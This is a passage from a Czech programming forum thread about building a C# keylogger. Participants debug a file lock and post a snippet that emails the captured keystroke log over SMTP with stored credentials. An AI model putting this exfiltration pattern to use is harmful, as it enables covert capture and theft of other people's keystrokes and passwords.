Diskuze: KeyLogger/KeyHook
V předchozím kvízu, Test znalostí C# .NET online, jsme si ověřili nabyté zkušenosti z kurzu.

Tvůrce

Zobrazeno 17 zpráv z 67.
//= Settings::TRACKING_CODE_B ?> //= Settings::TRACKING_CODE ?>
V předchozím kvízu, Test znalostí C# .NET online, jsme si ověřili nabyté zkušenosti z kurzu.
Zkusil jsem to oboji, jak ten muj priznak, ze pokud se zapisuje, tak na to nesahat, tak nulovat pred zapisem...
Porad se to pri druhem presazeni 1000 potentockuje.
Je to vlastně obyčejná fronta. Když se naplní na určitou hodnotu, vezme se potřebný počet záznamů, uloží do souboru a jen ten kus se smaže. Mezitím tam mohou přibývat další záznamy.
Dřív se to dělalo jedním polem a dvěma pointry. Jeden ukazoval, kam se má zapisovat a druhý odkud se má číst. Když se zapsal poslední záznam, začalo se psát od začátku pole. Hlídalo se, aby se nepotkaly.
Pořád to nejde,
ať udělám cokoli, prostě něco pak využívá ten soubor. Nemůže se
stát, že to zůstane nějak vyset po tom odeslání emailu? Nebo já už
doopravdy nevím
No tak email neodesílej, tohle se dá přeci jednoduše vyzkoušet. Dej pryč vlákna, dej pryč maily, nech jen zápis. Nemá smysl ladit celek, když nefunguje část.
Super, to me nenapadlo. Dal jsem pryc odesilani emailu se souborem a hle... uz to funguje, takze je tedy jiste, ze si to nejak drzi v pameti to odesilani, ze? Jak ale z toho ven? Jak mu vysvetlit, aby po odeslani ten soubor uvolnil?
Tak, jak to máš napsané, by to neměl být problém, protože by ho měl uvolnit sám. Napadá mě už jen workaround si ten soubor po uložení zkopírovat a odesílat kopii. Můžeš to pro zajímavost zkusit, pokud to zkopíruješ pomocí File.Copy nebo jak to tam je a bude to dělat stejně, vyloučí se úplně chyba na straně zápisu do souboru.
Tak to jde, ale ta kopie po odeslani nejde smazat takze bych tam pak mel tisice
souboru....
Vyřešeno, po odeslání emailu se musí Uvolnit prostředky používané AttachmentBase. (Zděděno z AttachmentBase.) a to takto:
mail.Dispose();
ukazka v kodu:
ailMessage mail = new MailMessage();
mail.From = new MailAddress(User);
mail.To.Add(new MailAddress(Adress));
mail.Subject = Topic;
mail.Body = Log;
mail.Attachments.Add(new Attachment(FilePath));
SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port));
klient.Credentials = new NetworkCredential(User, Pass);
klient.EnableSsl = false;
klient.Send(mail);
mail.Dispose(); // uvolní soubor
Divné, měl by to dělat sám po tom, co GC sežere ten objekt. No alespoň,
že to konečně funguje
GC ho nežere hned, ale až když potřebuje paměť. To bylo v tomto případě pozdě.
Nemáš zač, jsme rádi za každou konstruktivní diskuzi Myslíš, že by ses mohl podělit
s nějakou základní verzí toho programu? Tato tématika by mohla být
zajímavá i pro ostatní.
To by bylo úplně nejlepší Dal by se do C# do sekce Pro pokročílé, už se tam množí dost
zajímavých věcí.
Zobrazeno 17 zpráv z 67.